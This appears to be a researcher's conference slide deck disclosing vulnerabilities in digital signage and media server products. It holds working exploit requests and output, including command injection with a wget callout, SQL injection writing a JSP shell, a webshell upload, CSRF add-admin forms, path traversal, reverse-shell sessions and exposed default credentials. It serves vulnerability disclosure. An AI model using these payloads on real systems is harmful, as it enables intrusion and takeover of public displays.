SlideShare a Scribd company logo
1 of 98
Download to read offline
www.zeroscience.mk
Gjoko Krstic
▪ From Kumanovo, MK
▪ Information security engineer
▪ Founder – Zero Science Lab
▪ Member of g00g00tka, ICTTF
▪ CTF developer
▪ Ping-Pong amateur
2019
▪ Building Management Systems
▪ Thermal & Traffic Cameras
▪ Biometric Access Control
▪ ISP Provisioning
▪ Home Automation
2020
▪ Digital Signage
▪ Media Servers / Players
▪ Encoders / Modulators
Path of challenges
Topics
▪ Introduction
▪ Applications
▪ Public incidents
▪ Common attack vectors
▪ Outreach
▪ Intermission
Signage systems are visually oriented
information systems, consisting of signs,
maps, arrows, color-codings systems,
pictograms and different typographic
elements.
The use of digital technology to publicly
display content and messages is known as
digital signage.
Wayfinding (or way-finding) encompasses all the ways in which
people (and animals) orient themselves in physical space and
navigate from place to place.
Digital Signage can be used both indoors in places
such as malls, restaurants, office lobbies, movie
theatres, airports, etc., and outdoors - sports
stadiums, railway and bus terminals, and billboards.
Applications
DS diagram
Content Admin
Internet
CMS Server
Signage Player
Display
Public incidents
▪ Hijacking the Outdoor Digital Billboard - By Defcon 16 hacking panel (2013)
▪ Alabama digital billboard hack targets Florida senator Marco Rubio (2016)
▪ Cyberattack claims multiple airports in Vietnam (2016)
▪ A hack with a friendly warning in Liverpool (2017)
▪ Hacked digital signage displays porn in Union Station (2017)
▪ Bristol Airport’s flight information display system (2018)
▪ Pornhub on Yagan Square (2018)
▪ Ironman cyclists included in digital sign hack in North Carolina (2018)
▪ Critical vulnerabilities in digital signage system could allow access to attackers
through default passwords (2019)
Hijacking the Outdoor Digital Billboard - By Defcon 16 hacking panel (2013)
Alabama digital billboard hack targets Florida senator Marco Rubio (2016)
Cyberattack claims multiple airports in Vietnam (2016)
A hack with a friendly warning in Liverpool (2017)
Hacked digital signage displays porn in Union Station (2017)
Bristol Airport’s flight information display system (2018)
Pornhub on Yagan Square (2018)
Ironman cyclists included in digital sign hack in North Carolina (2018)
Critical vulnerabilities in digital signage system could allow access to attackers through default
passwords (2019)
Who wants to hack a billboard?
Common attack vectors
▪ Exposed management interface
▪ Known vulnerabilities
▪ Default and hard-coded credentials
▪ Lack of authentication and authorization
▪ Lack of encryption
▪ Misconfiguration
▪ Social engineering
Case #1 – Cayin SMP
Cayin Signage Media Player 3.0 Root Remote Command Injection (ZSL-2020-5569)
$ ./cayin.py 192.168.1.2 id
uid=0(root) gid=65534(guest)
# start sshd
$ ./cayin.py 192.168.1.2 /mnt/libs/sshd/sbin/sshd
$
$ ./cayin.py 192.168.1.2 "netstat -ant|grep ':22'"
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 :::22 :::* LISTEN
$ ./cayin.py 192.168.1.2 "cat /etc/passwd"
root:x:0:0:root:/root:/bin/bash
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
smbuser:x:500:0:SMB adiministrator:/opt/media:/sbin/nologin
sshd:x:1000:0::/dev/null:/sbin/nologin
$
Case #2 – Cayin CMS
Cayin Content Management Server 11.0 Root Remote Command Injection (ZSL-2020-5570)
POST /cgi-bin/system.cgi HTTP/1.1
Host: 192.168.1.3
Content-Length: 201
save_system: 1
system_date: 2020/5/16 06:36:48
TIMEZONE: 49
NTP_Service: 1
NTP_Server_IP: $(wget -q -U 'MyVoiceIsMyPassportVerifyMe' vrfy.zeroscience.mk)
TEST_NTP: 測試
reboot1: 1
reboot_sel1: 4
reboot_sel2: 1
reboot_sel3: 1
font_list: ZH_TW
Request recorder @ ZSL:
-----------------------
Origin of HTTP request: 192.168.1.3:61347
HTTP GET request to vrfy.zeroscience.mk:
GET / HTTP/1.0
User-Agent: MyVoiceIsMyPassportVerifyMe
Host: vrfy.zeroscience.mk
Accept: */*
Connection: Keep-Alive
Case #2 – Cayin CMS
Cayin Content Management Server 11.0 Root Remote Command Injection (ZSL-2020-5570)
msf5 exploit(linux/http/cayin_cms_ntp) > run
[*] Started reverse TCP handler on 172.16.215.1:4444
[+] Cayin CMS install detected
[*] Generated command stager: ["printf
'17710511410611100000000020301000124200410640000000000064
0400100000001000000002004100200410317000112100'>>/tmp/lSdfj", "printf
'70000200015212136613333673431231031231522260146211341315200227133150254203
2711502021134211341152146130120121127211341103315200'>>/tmp/lSdfj", "printf
'2053001713111616475150242000130152015252113436131131520020530017127535347262
7271020002113433013531430134314260175315200205300170'>>/tmp/lSdfj", "printf
'201332113412312621522603315200205300170237734127010002731000315200'>>/tmp/lSdfj
; chmod +x /tmp/lSdfj ; /tmp/lSdfj ; rm -f /tmp/lSdfj"]
[*] Command Stager progress - 25.95% done (199/767 bytes)
[*] Command Stager progress - 51.76% done (397/767 bytes)
[*] Command Stager progress - 77.84% done (597/767 bytes)
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (980808 bytes) to 172.16.215.134
[*] Meterpreter session 1 opened (172.16.215.1:4444 -> 172.16.215.134:53672) at 2020-06-18 10:17:56 -0500
[*] Command Stager progress - 100.00% done (767/767 bytes)
meterpreter > getuid
Server username: no-user @ CMS-SE (uid=0, gid=1001, euid=0, egid=1001)
Case #2 – Cayin CMS
Case #3 – Cayin xPost
Cayin Digital Signage System xPost 2.5 Pre-Auth SQLi Remote Code Execution (ZSL-2020-5571)
The GET request:
/cayin/wayfinder/wayfinder_meeting_input.jsp?wayfinder_seqid=-251' UNION ALL SELECT
0x1337,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL INTO
DUMPFILE 'C:/CayinApps/webapps/thricer.jsp'-- -
msf5 exploit(windows/http/cayin_xpost_sql_rce) > run
[*] Started reverse TCP handler on 192.168.37.1:4444
[*] Command shell session 2 opened (192.168.37.1:4444 -> 192.168.37.131:52540) at 2020-06-18 10:19:14 -0500
[!] Tried to delete C:/CayinApps/webapps/hq3HvyOcp4x.jsp, unknown result
C:CayinAppsTomcat>
C:CayinAppsTomcat> whoami
whoami
nt authoritysystem
Case #4 – Plexus anblick
http://192.168.2.51:8080/ANBLICK/PantallaLogin?idioma=EN&pagina=https://www.zeroscience.mk
Plexus anblick Digital Signage Management 3.1.13 (pagina param) Open Redirect (ZSL-2020-5573)
Case #5 – UBICOD Medivision
UBICOD Medivision Digital Signage 1.5.1 CSRF Add Super Admin (ZSL-2020-5574)
UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation Through Authorization Bypass (ZSL-2020-5575)
<html>
<body>
<form action="http://10.0.39.2/query/user/itSet" method="POST">
<input type="hidden" name="aa[_id]" value="157" />
<input type="hidden" name="aa[pass]" value="123456" />
<input type="hidden" name="od[]" value="name" />
<input type="hidden" name="ft[grp]" value="3" />
<input type="hidden" name="ip" value="0" />
<input type="hidden" name="np" value="13" />
<input type="submit" value="Escalada" />
</form>
</body>
</html>
Case #5 – UBICOD Medivision
Case #6 – All-Dynamics enlogic:show
▪ CSRF Add Admin
▪ Session Fixation
Case #6 – All-Dynamics enlogic:show
GET /index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65 HTTP/1.1
Host: localhost:8802
HTTP/1.0 302 Moved Temporarily
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: /index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65
Content-type: text/html
1. Visiting the following GET request sets the PHP session:
2. Victim is redirected to authorize:
HTTP/1.0 401 Authorization Required
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
WWW-Authenticate: Basic realm="enlogic.show server"
Content-type: text/html
Case #6 – All-Dynamics enlogic:show
GET /index.php?PHPSESSID=5adb40dac43ddf2d05ea83d1a958ed65 HTTP/1.1
Host: localhost:8802
Connection: keep-alive
Cache-Control: max-age=0
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/84.0.4147.89 Safari/537.36
HTTP/1.0 200 OK
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html
3. Session fixated:
Vendor patch
Case #7 – QiHang Media
▪ Cookie User Password Disclosure
▪ Cleartext Credentials Disclosure
▪ Unauthenticated Arbitrary File Deletion
▪ Arbitrary File Disclosure Vulnerability
▪ Unauthenticated Remote Code Execution
Case #7 – QiHang Media
Pre-auth Remote Code Execution
POST /QH.aspx HTTP/1.1
Host: 192.168.1.74:8090
Content-Length: 2125
User-Agent: MrM
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhbcZX7o0Hw19h3kr
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
------WebKitFormBoundaryhbcZX7o0Hw19h3kr
Content-Disposition: form-data; name="fileToUpload"; filename="cmd2.aspx"
Content-Type: application/octet-stream
ASPX WEBSHELL
------WebKitFormBoundaryhbcZX7o0Hw19h3kr
Content-Disposition: form-data; name="action"
upload
------WebKitFormBoundaryhbcZX7o0Hw19h3kr
Content-Disposition: form-data; name="responderId"
ResourceNewResponder
------WebKitFormBoundaryhbcZX7o0Hw19h3kr
Content-Disposition: form-data; name="remotePath"
/opt/resources/
------WebKitFormBoundaryhbcZX7o0Hw19h3kr--
HTTP/1.1 100 Continue
Server: HowFor Web Server/5.6.0.0
Date: Tue, 28 Jul 2020 21:49:46 GMT
Content-Length: 0
HTTP/1.1 200 OK
Server: HowFor Web Server/5.6.0.0
Date: Tue, 28 Jul 2020 21:49:46 GMT
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=zqjce1znyuvfzawcmbd3odn2
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 59
Connection: Close
{
"first": true,
"second": [
"cmd2.aspx"
]
}
Case #7 – QiHang Media
GET request: http://192.168.1.74:8090/opt/resources/cmd.aspx
Command issued: /c whoami
Response:
robertovolareadministrator
Case #7 – QiHang Media
Case #7 – QiHang Media
Arbitrary File Deletion
POST /QH.aspx HTTP/1.1
Host: 192.168.1.74:8090
Content-Length: 105
User-Agent: Eraser
X-Requested-With: XMLHttpRequest
responderId=ResourceNewResponder&action=delete&data=["/opt/resources/Billboard.jpg"]
Arbitrary File Disclosure
GET & POST:
/QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fGlobal.asax
/QH.aspx?responderId=ResourceNewResponder&action=view&fileName=.%2fWeb.config
/QH.aspx?responderId=ResourceNewResponder&action=getAll&path=&fileName=
{
"name": "bin",
Case #8 – Eibiz i-Media Server
▪ Configuration Disclosure
▪ Remote Privilege Escalation / Account Takeover
▪ File Path Traversal
▪ Authentication Bypass (Add Admin)
Case #8 – Eibiz i-Media Server
Eibiz i-Media Server Digital Signage 3.8.0 (createUser) Authentication Bypass (Add Admin) (ZSL-2020-5586)
$ python3 imedia_createUser.py 192.168.1.1 waddup
--Sending serialized object...
--Replaying...
------------------------------------------------------
Admin user 'waddup' successfully created. No password.
------------------------------------------------------
Case #8 – Eibiz i-Media Server
Authentication Bypass (Add Admin)
POST /messagebroker/amf HTTP/1.1
Host: 192.168.1.1
User-Agent: MrM
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=F9338B31E5CAE8731654798D35BBAA6A
Referer: http://192.168.1.1/main.swf
Content-type: application/x-amf
Content-Length: 531
null/58þ
•Oflex.messaging.messages.RemotingMessage
sourceoperationmessageIdtimestamp bodyclientIddestinationtimeToLiveheadersupdateUserI1B897A86-73BE-05B1-CEB3-A05509641144
•sds.model.Userpassword
createtelfax nameaddress
updateid
mobileuDeletedepartment role read
emailcompany
111111111-222-3333333-222-1111DisplayNameImaginaryStreettestingusSecurityAdministratorzsl@wha.baZSLBuserService
DSIdI4A5F33C3-711F-58E8-9050-95D100F3DE3EDSEndpoint
my-amf
Case #8 – Eibiz i-Media Server
Authentication Bypass (Add Admin)
Response:
1. onDetected‚eDetected duplicate HTTP-based FlexSessions, generally due to the
remote host disabling session cookies. Session cookies must be enabled
2. AcknowledgeMessageheaderstimeToLiveclientIddestinationmessageIdcorrelationId
bodytimestamp
Case #8 – Eibiz i-Media Server
Control thousands of displays from one location
See what’s displayed
Content streaming
Player monitoring and information
Case #8 – Eibiz i-Media Server
File Path Traversal
$ curl "http://192.168.1.1/dlibrary/null?oldfile=../../../../../../windows/win.ini&library=null"
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
$ curl http://192.168.1.1/config/SiteConfig.properties
server.mode=testing
admin.username=admin
admin.password=admin
designer.username=designer
designer.password=designer
reporter.username=reporter
reporter.password=reporter
db.PriDBServerIp=127.0.0.1
db.PriDBServerPort=3306
Configuration Disclosure
Case #8 – Eibiz i-Media Server
Eibiz i-Media Server Digital Signage 3.8.0 Remote Privilege Escalation / Account Takeover (ZSL-2020-5584)
Action Message Format (AMF) binary protocol (Security through obscurity?)
Backdoors…backdoors everywhere!
Case #9 – B-Swiss 3
B-swiss 3 Digital Signage System 3.6.5 Backdoor Remote Code Execution (ZSL-2020-5590)
✓ Exploit default credentials (Authenticate)
✓ Exploit file upload and execute PHP code
✓ Get SQL database (ZSL-2020-5588)
✓ Find hardcoded backdoor account ‘admin_m’ with level No
100000
✓ Crack password
✓ Unauthenticated reverse shell
lqwrm@metalgear:~/prive$ python3 sign2.py 192.168.10.11 192.168.10.22 7777
[*] Checking target...
[*] Good to go!
[*] Checking for previous attempts...
[*] All good.
[*] Getting backdoor session...
[*] Got master backdoor cookie: 0c1617103c6f50107d09cb94b3eafeb2
[*] Starting callback listener child thread
[*] Starting handler on port 7777
[*] Adding GUI credentials: test:123456
[*] Executing and deleting stager file
[*] Connection from 192.168.10.11:40080
[*] You got shell!
id ; uname -or
uid=33(www-data) gid=33(www-data) groups=33(www-data)
4.15.0-20-generic GNU/Linux
exit
*** Connection closed by remote host ***
[?] Want me to remove the GUI credentials? y
[*] Removing...
[*] t00t!
lqwrm@metalgear:~/prive$
Case #9 – B-Swiss 3
Case #9 – B-Swiss 3
Case #9 – B-Swiss 3
Case #10 – SpinetiX Fusion
▪ Username Enumeration Weakness
▪ CSRF Add Admin Exploit
▪ Database Backup Disclosure
▪ File Backup/Delete Path Traversal
Case #10 – SpinetiX Fusion
Database Backup Disclosure
GET /content/files/backups/ HTTP/1.0
Host: 192.168.1.1
HTTP/1.1 200 OK
Date: Wed, 26 Aug 2020 15:57:40 GMT
Server: Apache/2.2.22 (Unix)
X-spinetix-firmware: 3.0.6-1.0.21932
X-raperca-version: 3.0.6-1.0.21912
X-spinetix-serial: 001d400027b8
X-spinetix-hw: BonsaiT
Content-Length: 636
Connection: close
Content-Type: text/html;charset=UTF-8
Index of /content/files/backups
Name Last modified Size Description
Parent Directory -
Custom1337Name.7z 25-Aug-2020 10:06 1.0M
Extracting the .7z shows userpwd.txt file, cat userpwd.txt:
admin:e10adc3949ba59abbe56e057f20f883e:file,program,activate,layout,playlist,model,slide,edit,admin::0
testingus:b874da212a62786181c66c5bbaabf425:file,program,activate,layout,playlist,model,slide,edit,admin:se:1
Case #10 – SpinetiX Fusion
Case #11 – BrightSign
BrightSign Digital Signage Diagnostic Web Server 8.2.26 Unauthenticated SSRF (ZSL-2020-5595)
$ curl http://10.0.0.17/speedtest?url=127.0.0.1:22
Cloud content/resources and secrets disclosure by abusing known
arbitrary file disclosure vulnerability: Static XML configuration read
within the web application software. Catch the stream!
Vendor statement
Case #12 – ReQuest Media Server
ReQuest Serious Play F3 Media Server 7.0.3 Unauthenticated Remote Code Execution (ZSL-2020-5602)
Case #12 – ReQuest Media Server
Unauthenticated Remote Code Execution (Backdoor)
lqwrm@metalgear:~/prive$ python3 ReQuest.py 192.168.1.17:3664 192.168.1.22 6161
Let's see waddup...
Good to go.
Starting handler on port 6161.
Writing callback file...
We got the dir: /75302IV29ZS1
Checking write status...
All is well John Spartan. Calling your listener...
Connection from 192.168.0.17:42057
You got shell.
id;uname -ro
uid=81(apache) gid=81(apache) groups=81(apache),666(arq)
3.2.0-4-686-pae GNU/Linux
exit
*** Connection closed by remote host ***
lqwrm@metalgear:~/prive$
Case #13 – Adtec Digital
Adtec Digital Multiple Products Default/Hardcoded Credentials Remote Root (ZSL-2020-5603)
login as: root
root@192.168.3.12's password:
Successfully logged in.
Thank you for choosing Adtec Digital products-
we know you had a choice and we appreciate your decision!
root@targethostname:~# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
--
admin@targethostname:/$ id
uid=502(admin) gid=502(admin) groups=0(root),502(admin)
admin@targethostname:~$ id adtec
uid=500(adtec) gid=1000(users) groups=1000(users),72(apache)
admin@targethostname:~$ cat /etc/sudoers |grep -v "#"
root ALL=(ALL) ALL
apache ALL=(ALL) NOPASSWD: ALL
Adtec Resident Telnet Server...
UserName:
adtec
adtec
PassWord:
none
User adtec connected
*.SYSD SHELLCMD cat /etc/passwd
*.SYSD CMD cat /etc/passwd
OK
root:he7TRuXjJjxfc:0:0:root:/root:/bin/sh
adtec:GC1BpYa80PaoY:500:1000:adtec:/media:/bin/sh
apache:!!:72:72:Apache Server:/dev/null:/sbin/nologin
fregd:!!:73:73:Freg Daemon:/dev/null:/sbin/nologin
ntp:!!:38:38:NTP Server:/dev/null:/sbin/nologin
syslogd:!!:74:74:Syslog Daemon:/dev/null:/sbin/nologin
admin:rDglOB38TVYRg:502:502:admin:/home/admin:/bin/sh
sshd:x:71:65:SSH daemon:/var/lib/sshd:/bin/false
avahi:x:82:82:Avahi Daemon:/dev/null/:/sbin/nologin
avahi-autoipd:x:83:83:Avahi Autoipd:/dev/null/:/sbin/nologin
messagebus:x:81:81:Message Bus Daemon:/dev/null:/sbin/nologin
Case #13 – Adtec Digital
Case #13 – Adtec Digital
Digital Video Broadcasting (DVB)
Case #14 – iDS6 DSSPro
iDS6 DSSPro Digital Signage System 6.2 (autoSave) Cookie User Password Disclosure (ZSL-2020-5605)
iDS6 DSSPro Digital Signage System 6.2 Cross-Site Request Forgery (CSRF) (ZSL-2020-5606)
iDS6 DSSPro Digital Signage System 6.2 CAPTCHA Security Bypass (ZSL-2020-5607)
iDS6 DSSPro Digital Signage System 6.2 Improper Access Control Privilege Escalation (ZSL-2020-5608)
✓ Exploit default credentials (Authenticate)
✓ Exploit IDOR, create user
✓ List user IDs
✓ Bypass authorization, create role
✓ List role IDs and apply all permissions to created role
✓ Assign created role to created user
✓ Escalate and takeover
Exposed
Login page
Create content
Review content
Call hidden JS
Food for thought
$ curl -i http://192.168.1.88/Pages/login!autoLoginVerifyCode -c cookies.txt
{"success":true,"message":"6435","data":"6435"}
Get CAPTCHA code
$ curl -i http://192.168.1.88/Pages/login!userValidate -b cookies.txt -d
"shortName=&user.userName=boss&user.password=boss&loginVerifyCode=6435&autoSave=true&autoLogin=true&domain_login=" -v
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: cookie.username=boss; Expires=Wed, 21-Jul-2021 19:41:26 GMT
Set-Cookie: cookie.password=boss; Expires=Wed, 01-Jul-2021 19:41:26 GMT
Set-Cookie: cookie.autosave=true; Expires=Wed, 01-Jul-2021 19:41:26 GMT
Set-Cookie: cookie.autologin=true; Expires=Wed, 01-Jul-2021 19:41:26 GMT
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/x-json;charset=UTF-8
Date: Tue, 21 Jul 2020 19:41:26 GMT
Connection: close
Content-Length: 16
{"success":true}
Use CAPTCHA code
Case #14 – iDS6 DSSPro
1. http://192.168.1.2:8080/downloader.log
2. http://192.168.1.2:8080/launcher.log
3. http://192.168.1.2:8080/player.log
4. http://192.168.1.2:8080/downloader.log_YYYY_MM_DD
5. http://192.168.1.2:8080/launcher.log_YYYY_MM_DD
6. http://192.168.1.2:8080/player.log_YYYY_MM_DD
Case #15 – RED-V RXV
RED-V Super Digital Signage System RXV-A740R Log Information Disclosure (ZSL-2020-5609)
Case #16 – Sony BRAVIA
Sony BRAVIA Digital Signage 1.7.8 Improper Access Control, IDOR, XSS, RFI
Case #16 – Sony BRAVIA
Case #16 – Sony BRAVIA
POST /api/content-creation?type=create&id=174ace2f9371b4 HTTP/1.1
{"material":[{"name":"http://www.zeroscience.mk/pentest/XSS.svg","type":"html"},
{"name":"C:fakepathBlank.jpg","type":"jpeg"},{"name":"","type":"external_inp
ut"},{"name":"","type":""}],"layout":{"name":"assets/images/c4e7e66e.icon_layout
_pattern_landscape_003.png","area":3,"direction":"landscape","layouts":[{"index"
:1,"width":960,"height":1080,"x":0,"y":0},{"index":2,"width":960,"height":540,"x
":960,"y":0},{"index":3,"width":960,"height":540,"x":960,"y":540}]}}
Remote File Include
Case #16 – Sony BRAVIA
Vendor response
Packet Storm Security
Digital Signage public advisories
IBM X-Force Exchange
Digital Signage public advisories
Exploit-DB
Digital Signage public advisories
IoT, Bug Bounty and Disclosure
“Successful bug reports on IoT devices are low
because whereas researchers can test web apps
relatively easily, getting hold of a physical IoT
box to fuzz is more difficult.”
https://www.infosecurity-magazine.com/infosec/why-successful-iot-bug-bounties/
IoT, Bug Bounty and Disclosure
https://arxiv.org/ftp/arxiv/papers/1909/1909.11166.pdf
✓ Lack of security for IoT products
✓ Companies are not security mature
✓ Incentives to invest in security are missing
✓ Hardware and technical problems
✓ Customer demand for security is low
✓ Regulation is missing
✓ Awareness missing on security value
✓ Hacktivism
✓ Signage defacement
✓ Spread information or misinformation
✓ Political, misdirection, prank, scam
✓ Botnets and DDoS possibilities
✓ Chaos or panic (airports, train stations, stadiums, etc.)
Outreach
The End
Obrigadissimo!
Questions?
gjoko@zeroscience.mk
28.11.2020
Gjoko Krstic

More Related Content

What's hot

OPSEC Vulnerabilities And Indicators
OPSEC Vulnerabilities And IndicatorsOPSEC Vulnerabilities And Indicators
OPSEC Vulnerabilities And IndicatorsDepartment of Defense
 
φόρμα σεναρίου
φόρμα σεναρίουφόρμα σεναρίου
φόρμα σεναρίουvagmag12
 
ατομα με αναπηρια
ατομα με αναπηριαατομα με αναπηρια
ατομα με αναπηρια2dhmgal
 
ΖΩΑ ΥΠΟ ΕΞΑΦΑΝΙΣΗ
ΖΩΑ ΥΠΟ ΕΞΑΦΑΝΙΣΗΖΩΑ ΥΠΟ ΕΞΑΦΑΝΙΣΗ
ΖΩΑ ΥΠΟ ΕΞΑΦΑΝΙΣΗMariaNikoloudi
 
Παρασκευόπουλος , έκδοση ιεπ
Παρασκευόπουλος , έκδοση ιεπΠαρασκευόπουλος , έκδοση ιεπ
Παρασκευόπουλος , έκδοση ιεπcharalampatou
 
Διδακτικό σενάριο: "Διατροφή"
Διδακτικό σενάριο: "Διατροφή"Διδακτικό σενάριο: "Διατροφή"
Διδακτικό σενάριο: "Διατροφή"Emytse66
 

What's hot (6)

OPSEC Vulnerabilities And Indicators
OPSEC Vulnerabilities And IndicatorsOPSEC Vulnerabilities And Indicators
OPSEC Vulnerabilities And Indicators
 
φόρμα σεναρίου
φόρμα σεναρίουφόρμα σεναρίου
φόρμα σεναρίου
 
ατομα με αναπηρια
ατομα με αναπηριαατομα με αναπηρια
ατομα με αναπηρια
 
ΖΩΑ ΥΠΟ ΕΞΑΦΑΝΙΣΗ
ΖΩΑ ΥΠΟ ΕΞΑΦΑΝΙΣΗΖΩΑ ΥΠΟ ΕΞΑΦΑΝΙΣΗ
ΖΩΑ ΥΠΟ ΕΞΑΦΑΝΙΣΗ
 
Παρασκευόπουλος , έκδοση ιεπ
Παρασκευόπουλος , έκδοση ιεπΠαρασκευόπουλος , έκδοση ιεπ
Παρασκευόπουλος , έκδοση ιεπ
 
Διδακτικό σενάριο: "Διατροφή"
Διδακτικό σενάριο: "Διατροφή"Διδακτικό σενάριο: "Διατροφή"
Διδακτικό σενάριο: "Διατροφή"
 

Similar to Digital Signage Systems - The Modern Hacker's Outreach

Automation: The Wonderful Wizard of CTI (or is it?)
Automation: The Wonderful Wizard of CTI (or is it?) Automation: The Wonderful Wizard of CTI (or is it?)
Automation: The Wonderful Wizard of CTI (or is it?) MITRE ATT&CK
 
Derbycon 2017: Hunting Lateral Movement For Fun & Profit
Derbycon 2017: Hunting Lateral Movement For Fun & ProfitDerbycon 2017: Hunting Lateral Movement For Fun & Profit
Derbycon 2017: Hunting Lateral Movement For Fun & ProfitMauricio Velazco
 
Cracking Into Embedded Devices - HACK.LU 2K8
Cracking Into Embedded Devices - HACK.LU 2K8Cracking Into Embedded Devices - HACK.LU 2K8
Cracking Into Embedded Devices - HACK.LU 2K8guest441c58b71
 
Bsides NYC 2018 - Hunting for Lateral Movement
Bsides NYC 2018 - Hunting for Lateral MovementBsides NYC 2018 - Hunting for Lateral Movement
Bsides NYC 2018 - Hunting for Lateral MovementMauricio Velazco
 
Defcon 22-alex zacharis-nikolaos-tsagkarakis-po s-attacking-t
Defcon 22-alex zacharis-nikolaos-tsagkarakis-po s-attacking-tDefcon 22-alex zacharis-nikolaos-tsagkarakis-po s-attacking-t
Defcon 22-alex zacharis-nikolaos-tsagkarakis-po s-attacking-tPriyanka Aash
 
Cant touch this: cloning any Android HCE contactless card
Cant touch this: cloning any Android HCE contactless cardCant touch this: cloning any Android HCE contactless card
Cant touch this: cloning any Android HCE contactless cardSlawomir Jasek
 
Is your mobile app as secure as you think?
Is your mobile app as secure as you think?Is your mobile app as secure as you think?
Is your mobile app as secure as you think?Matt Lacey
 
Ghost in the Browser: Broad-Scale Espionage with Bitsquatting
 Ghost in the Browser: Broad-Scale Espionage with Bitsquatting Ghost in the Browser: Broad-Scale Espionage with Bitsquatting
Ghost in the Browser: Broad-Scale Espionage with BitsquattingBishop Fox
 
Webinar: Extend The Power of The ForgeRock Identity Platform Through Scripting
Webinar: Extend The Power of The ForgeRock Identity Platform Through ScriptingWebinar: Extend The Power of The ForgeRock Identity Platform Through Scripting
Webinar: Extend The Power of The ForgeRock Identity Platform Through ScriptingForgeRock
 
OSMC 2021 | ITSM by Asterix and friends
OSMC 2021 | ITSM by Asterix and friendsOSMC 2021 | ITSM by Asterix and friends
OSMC 2021 | ITSM by Asterix and friendsNETWAYS
 
The Boring Security Talk
The Boring Security TalkThe Boring Security Talk
The Boring Security Talkkieranjacobsen
 
2019-12-11-OWASP-IoT-Top-10---Introduction-and-Root-Causes.pdf
2019-12-11-OWASP-IoT-Top-10---Introduction-and-Root-Causes.pdf2019-12-11-OWASP-IoT-Top-10---Introduction-and-Root-Causes.pdf
2019-12-11-OWASP-IoT-Top-10---Introduction-and-Root-Causes.pdfdino715195
 
oracleeventshunting-190909105308.pdf
oracleeventshunting-190909105308.pdforacleeventshunting-190909105308.pdf
oracleeventshunting-190909105308.pdfssuser785ce21
 
Infosecurity Europe 2019 - Phishing & OOB Exfiltration Through Purple Tinted ...
Infosecurity Europe 2019 - Phishing & OOB Exfiltration Through Purple Tinted ...Infosecurity Europe 2019 - Phishing & OOB Exfiltration Through Purple Tinted ...
Infosecurity Europe 2019 - Phishing & OOB Exfiltration Through Purple Tinted ...in.security Ltd.
 
Oracle events hunting [POUG19]
Oracle events hunting [POUG19]Oracle events hunting [POUG19]
Oracle events hunting [POUG19]Mahmoud Hatem
 
Hitbkl 2012
Hitbkl 2012Hitbkl 2012
Hitbkl 2012F _
 
Drupal Camp Bristol 2017 - Website insecurity
Drupal Camp Bristol 2017 - Website insecurityDrupal Camp Bristol 2017 - Website insecurity
Drupal Camp Bristol 2017 - Website insecurityGeorge Boobyer
 

Similar to Digital Signage Systems - The Modern Hacker's Outreach (20)

Automation: The Wonderful Wizard of CTI (or is it?)
Automation: The Wonderful Wizard of CTI (or is it?) Automation: The Wonderful Wizard of CTI (or is it?)
Automation: The Wonderful Wizard of CTI (or is it?)
 
Derbycon 2017: Hunting Lateral Movement For Fun & Profit
Derbycon 2017: Hunting Lateral Movement For Fun & ProfitDerbycon 2017: Hunting Lateral Movement For Fun & Profit
Derbycon 2017: Hunting Lateral Movement For Fun & Profit
 
No More Fraud, Astricon, Las Vegas 2014
No More Fraud, Astricon, Las Vegas 2014No More Fraud, Astricon, Las Vegas 2014
No More Fraud, Astricon, Las Vegas 2014
 
Cracking Into Embedded Devices - HACK.LU 2K8
Cracking Into Embedded Devices - HACK.LU 2K8Cracking Into Embedded Devices - HACK.LU 2K8
Cracking Into Embedded Devices - HACK.LU 2K8
 
How to use shodan more powerful
How to use shodan more powerful How to use shodan more powerful
How to use shodan more powerful
 
Bsides NYC 2018 - Hunting for Lateral Movement
Bsides NYC 2018 - Hunting for Lateral MovementBsides NYC 2018 - Hunting for Lateral Movement
Bsides NYC 2018 - Hunting for Lateral Movement
 
Defcon 22-alex zacharis-nikolaos-tsagkarakis-po s-attacking-t
Defcon 22-alex zacharis-nikolaos-tsagkarakis-po s-attacking-tDefcon 22-alex zacharis-nikolaos-tsagkarakis-po s-attacking-t
Defcon 22-alex zacharis-nikolaos-tsagkarakis-po s-attacking-t
 
Cant touch this: cloning any Android HCE contactless card
Cant touch this: cloning any Android HCE contactless cardCant touch this: cloning any Android HCE contactless card
Cant touch this: cloning any Android HCE contactless card
 
Is your mobile app as secure as you think?
Is your mobile app as secure as you think?Is your mobile app as secure as you think?
Is your mobile app as secure as you think?
 
Who moved my pixels?!
Who moved my pixels?!Who moved my pixels?!
Who moved my pixels?!
 
Ghost in the Browser: Broad-Scale Espionage with Bitsquatting
 Ghost in the Browser: Broad-Scale Espionage with Bitsquatting Ghost in the Browser: Broad-Scale Espionage with Bitsquatting
Ghost in the Browser: Broad-Scale Espionage with Bitsquatting
 
